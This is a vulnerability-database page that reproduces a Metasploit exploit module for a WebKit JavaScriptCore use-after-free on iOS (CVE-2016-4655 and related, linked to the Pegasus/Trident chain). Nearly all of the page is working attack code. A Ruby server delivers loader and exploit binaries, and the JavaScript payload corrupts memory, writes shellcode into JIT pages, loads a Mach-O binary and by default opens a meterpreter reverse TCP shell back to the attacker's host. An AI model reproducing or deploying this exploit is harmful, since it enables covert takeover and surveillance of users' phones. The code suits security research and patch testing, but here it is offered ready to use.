Lucene search
K

WebKit not_number defineProperties UAF

🗓️ 03 Apr 2018 06:44:54Reported by qwertyoruiop, siguza, tihmstar, benjamin-42, timwrType 
metasploit
 metasploit
🔗 www.rapid7.com👁 58 Views

WebKit UAF vulnerability in JavaScriptCore library exploitation module for apple_ios platform. Automatic target. Metasploit integration

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'WebKit not_number defineProperties UAF',
      'Description'    => %q{
          This module exploits a UAF vulnerability in WebKit's JavaScriptCore library.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [
        'qwertyoruiop', # jbme.qwertyoruiop.com
        'siguza',       # PhoenixNonce
        'tihmstar',     # PhoenixNonce
        'benjamin-42',  # Trident
        'timwr',        # metasploit integration
        ],
      'References'     => [
          ['CVE', '2016-4655'],
          ['CVE', '2016-4656'],
          ['CVE', '2016-4657'],
          ['BID', '92651'],
          ['BID', '92652'],
          ['BID', '92653'],
          ['URL', 'https://blog.lookout.com/trident-pegasus'],
          ['URL', 'https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/'],
          ['URL', 'https://www.blackhat.com/docs/eu-16/materials/eu-16-Bazaliy-Mobile-Espionage-in-the-Wild-Pegasus-and-Nation-State-Level-Attacks.pdf'],
          ['URL', 'https://github.com/Siguza/PhoenixNonce'],
          ['URL', 'https://jndok.github.io/2016/10/04/pegasus-writeup/'],
          ['URL', 'https://sektioneins.de/en/blog/16-09-02-pegasus-ios-kernel-vulnerability-explained.html'],
          ['URL', 'https://github.com/benjamin-42/Trident'],
          ['URL', 'http://blog.tihmstar.net/2018/01/modern-post-exploitation-techniques.html'],
        ],
      'Arch'           => ARCH_AARCH64,
      'Platform'       => 'apple_ios',
      'DefaultTarget'  => 0,
      'DefaultOptions' => { 'PAYLOAD' => 'apple_ios/aarch64/meterpreter_reverse_tcp' },
      'Targets'        => [[ 'Automatic', {} ]],
      'DisclosureDate' => '2016-08-25'))
    register_options(
      [
        OptPort.new('SRVPORT', [ true, "The local port to listen on.", 8080 ]),
        OptString.new('URIPATH', [ true, "The URI to use for this exploit.", "/" ])
      ])
  end

  def payload_url
    "tcp://#{datastore["LHOST"]}:#{datastore["LPORT"]}"
  end

  def on_request_uri(cli, request)
    print_status("Request from #{request['User-Agent']}")
    if request.uri =~ %r{/loader32$}
      print_good("armle target is vulnerable.")
      local_file = File.join( Msf::Config.data_directory, "exploits", "CVE-2016-4655", "exploit32" )
      loader_data = File.read(local_file, mode: 'rb')
      srvhost = Rex::Socket.resolv_nbo_i(srvhost_addr)
      config = [srvhost, srvport].pack("Nn") + payload_url
      payload_url_index = loader_data.index('PAYLOAD_URL')
      loader_data[payload_url_index, config.length] = config
      send_response(cli, loader_data, {'Content-Type'=>'application/octet-stream'})
      return
    elsif request.uri =~ %r{/loader64$}
      print_good("aarch64 target is vulnerable.")
      local_file = File.join( Msf::Config.data_directory, "exploits", "CVE-2016-4655", "loader" )
      loader_data = File.read(local_file, mode: 'rb')
      send_response(cli, loader_data, {'Content-Type'=>'application/octet-stream'})
      return
    elsif request.uri =~ %r{/exploit64$}
      local_file = File.join( Msf::Config.data_directory, "exploits", "CVE-2016-4655", "exploit" )
      loader_data = File.read(local_file, mode: 'rb')
      payload_url_index = loader_data.index('PAYLOAD_URL')
      loader_data[payload_url_index, payload_url.length] = payload_url
      send_response(cli, loader_data, {'Content-Type'=>'application/octet-stream'})
      print_status("Sent exploit (#{loader_data.size} bytes)")
      return
    elsif request.uri =~ %r{/payload32$}
      payload_data = MetasploitPayloads::Mettle.new('arm-iphone-darwin').to_binary :dylib_sha1
      send_response(cli, payload_data, {'Content-Type'=>'application/octet-stream'})
      print_status("Sent payload (#{payload_data.size} bytes)")
      return
    end
    html = %Q^
<html>
<body>
<script>

function load_binary_resource(url) {
  var req = new XMLHttpRequest();
  req.open('GET', url, false);
  req.overrideMimeType('text/plain; charset=x-user-defined');
  req.send(null);
  return req.responseText;
}

var pressure = new Array(400);
var bufs = new Array(10000);

var fcp = 0;
var smsh = new Uint32Array(0x10);

var trycatch = "";
for(var z=0; z<0x4000; z++) trycatch += "try{} catch(e){}; ";
var fc = new Function(trycatch);

function dgc() {
  for (var i = 0; i < pressure.length; i++) {
    pressure[i] = new Uint32Array(0xa000);
  }
  for (var i = 0; i < pressure.length; i++) {
    pressure[i] = 0;
  }
}

function swag() {
  if(bufs[0]) return;

  dgc();

  for (i=0; i < bufs.length; i++) {
    bufs[i] = new Uint32Array(0x100*2)
    for (k=0; k < bufs[i].length; )
    {
      bufs[i][k++] = 0x41414141;
      bufs[i][k++] = 0xffff0000;
    }
  }
}

var mem0=0;
var mem1=0;
var mem2=0;

function read4(addr) {
  mem0[4] = addr;
  var ret = mem2[0];
  mem0[4] = mem1;
  return ret;
}

function write4(addr, val) {
  mem0[4] = addr;
  mem2[0] = val;
  mem0[4] = mem1;
}

_dview = null;
function u2d(low, hi) {
  if (!_dview) _dview = new DataView(new ArrayBuffer(16));
  _dview.setUint32(0, hi);
  _dview.setUint32(4, low);
  return _dview.getFloat64(0);
}

function go_(){
  var arr = new Array(0x100);
  var not_number = {};
  not_number.toString = function() {
    arr = null;
    props["stale"]["value"] = null;
    swag();
    return 10;
  };

  smsh[0] = 0x21212121;
  smsh[1] = 0x31313131;
  smsh[2] = 0x41414141;
  smsh[3] = 0x51515151;
  smsh[4] = 0x61616161;
  smsh[5] = 0x71717171;
  smsh[6] = 0x81818181;
  smsh[7] = 0x91919191;

  var props = {
    p0 : { value : 0 },
    p1 : { value : 1 },
    p2 : { value : 2 },
    p3 : { value : 3 },
    p4 : { value : 4 },
    p5 : { value : 5 },
    p6 : { value : 6 },
    p7 : { value : 7 },
    p8 : { value : 8 },
    length : { value : not_number },
    stale : { value : arr },
    after : { value : 666 }
  };

  var target = [];
  var stale = 0;
  Object.defineProperties(target, props);
  stale = target.stale;

  if (stale.length != 0x41414141){
    location.reload();
    return;
  }

  var obuf = new Uint32Array(2);
  obuf[0] = 0x41414141;
  obuf[1] = 0xffff0000;

  stale[0] = 0x12345678;
  stale[1] = {};

  for(var z=0; z<0x100; z++) fc();

  for (i=0; i < bufs.length; i++) {
    var dobreak = 0;
    for (k=0; k < bufs[0].length; k++) {
      if (bufs[i][k] == 0x12345678) {
        if (bufs[i][k+1] == 0xFFFF0000) {
          stale[0] = fc;
          fcp = bufs[i][k];
          stale[0] = {
            'a': u2d(105, 0),
            'b': u2d(0, 0),
            'c': smsh,
            'd': u2d(0x100, 0)
          }
          stale[1] = stale[0];
          bufs[i][k] += 0x10;
          bck = stale[0][4];
          stale[0][4] = 0;
          stale[0][6] = 0xffffffff;
          mem0 = stale[0];
          mem1 = bck;
          mem2 = smsh;
          bufs.push(stale);
          if (smsh.length != 0x10) {
            var filestream = load_binary_resource("loader64");
            var macho = load_binary_resource("exploit64");
            r2 = smsh[(fcp+0x18)/4];
            r3 = smsh[(r2+0x10)/4];
            var jitf = smsh[(r3+0x10)/4];
            write4(jitf, 0xd28024d0);     //movz x16, 0x126
            write4(jitf + 4, 0x58000060);   //ldr x0, 0x100007ee4
            write4(jitf + 8, 0xd4001001);   //svc 80
            write4(jitf + 12, 0xd65f03c0);  //ret
            write4(jitf + 16, jitf + 0x20);
            write4(jitf + 20, 1);
            fc();
            var dyncache = read4(jitf + 0x20);
            var dyncachev = read4(jitf + 0x20);
            var go = 1;
            while (go) {
              if (read4(dyncache) == 0xfeedfacf) {
                for (i = 0; i < 0x1000 / 4; i++) {
                  if (read4(dyncache + i * 4) == 0xd && read4(dyncache + i * 4 + 1 * 4) == 0x40 && read4(dyncache + i * 4 + 2 * 4) == 0x18 && read4(dyncache + i * 4 + 11 * 4) == 0x61707369) // lulziest mach-o parser ever
                  {
                    go = 0;
                    break;
                  }
                }
              }
              dyncache += 0x1000;
            }
            dyncache -= 0x1000;
            var bss = [];
            var bss_size = [];
            for (i = 0; i < 0x1000 / 4; i++) {
              if (read4(dyncache + i * 4) == 0x73625f5f && read4(dyncache + i * 4 + 4) == 0x73) {
                bss.push(read4(dyncache + i * 4 + (0x20)) + dyncachev - 0x80000000);
                bss_size.push(read4(dyncache + i * 4 + (0x28)));
              }
            }
            var shc = jitf;
            for (var i = 0; i < filestream.length;) {
              var word = (filestream.charCodeAt(i) & 0xff) | ((filestream.charCodeAt(i + 1) & 0xff) << 8) | ((filestream.charCodeAt(i + 2) & 0xff) << 16) | ((filestream.charCodeAt(i + 3) & 0xff) << 24);
              write4(shc, word);
              shc += 4;
              i += 4;
            }
            jitf &= ~0x3FFF;
            jitf += 0x8000;
            write4(shc, jitf);
            write4(shc + 4, 1);
            // copy macho
            for (var i = 0; i < macho.length;i+=4) {
              var word = (macho.charCodeAt(i) & 0xff) | ((macho.charCodeAt(i + 1) & 0xff) << 8) | ((macho.charCodeAt(i + 2) & 0xff) << 16) | ((macho.charCodeAt(i + 3) & 0xff) << 24);
              write4(jitf+i, word);
            }
            for (var i = 0; i < bss.length; i++) {
              for (k = bss_size[i] / 6; k < bss_size[i] / 4; k++) {
                write4(bss[i] + k * 4, 0);
              }
            }
            fc();
          }
        } else if(bufs[i][k+1] == 0xFFFFFFFF) {
          stale[0] = fc;
          fcp = bufs[i][k];
          stale[0] = smsh;
          stale[2] = {'a':u2d(0x2,0x10),'b':smsh, 'c':u2d(0,0), 'd':u2d(0,0)}
          stale[0] = {'a':u2d(0,0x00e00600),'b':u2d(1,0x10), 'c':u2d(bufs[i][k+2*2]+0x10,0), 'd':u2d(0,0)}
          stale[1] = stale[0];
          bufs[i][k] += 0x10;
          var leak = stale[0][0].charCodeAt(0);
          leak += stale[0][1].charCodeAt(0) << 8;
          leak += stale[0][2].charCodeAt(0) << 16;
          leak += stale[0][3].charCodeAt(0) << 24;
          bufs[i][k] -= 0x10;
          stale[0] = {'a':u2d(leak,0x00602300), 'b':u2d(0,0), 'c':smsh, 'd':u2d(0,0)}
          stale[1] = stale[0];
          bufs[i][k] += 0x10;
          stale[0][4] = 0;
          stale[0][5] = 0xffffffff;
          bufs[i][k] -= 0x10;
          mem0 = stale[0];
          mem2 = smsh;
          if (smsh.length != 0x10) {
            setTimeout(function() {
              var filestream = load_binary_resource("loader32");
              r2 = smsh[(fcp+0x14)/4];
              r3 = smsh[(r2+0x10)/4];
              shellcode = (smsh[(r3+0x14)/4]&0xfffff000)-0x10000;
              smsh[shellcode/4] = 0;
              shellcode += 4;
              smsh[shellcode/4] = 0;
              shellcode += 4;
              smsh[shellcode/4] = 0;
              shellcode += 4;
              smsh[shellcode/4] = 0;
              shellcode += 4;
              for(var i = 0; i < filestream.length; i+=4) {
                var word = (filestream.charCodeAt(i) & 0xff) | ((filestream.charCodeAt(i+1) & 0xff) << 8)  | ((filestream.charCodeAt(i+2) & 0xff) << 16)  | ((filestream.charCodeAt(i+3) & 0xff) << 24);
                smsh[(shellcode+i)/4] = word;
              }
              smsh[(fcp+0x00)/4] = fcp+4;
              smsh[(fcp+0x04)/4] = fcp+4;
              smsh[(fcp+0x08)/4] = shellcode+1; //PC
              smsh[(fcp+0x30)/4] = fcp+0x30+4-0x18-0x34+0x8;

              fc();
            }, 100);
          }
        } else {
          location.reload();
        }
        dobreak = 1;
        break;
      }
    }
    if (dobreak) break;
  }
  location.reload();
}

setTimeout(go_, 300);


</script>
</body>
</html>
    ^
    send_response(cli, html, {'Content-Type'=>'text/html'})
  end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

12 Feb 2022 21:39Current
6.1Medium risk
Vulners AI Score6.1
CVSS 26.8
CVSS 3.18.8
EPSS0.66788
58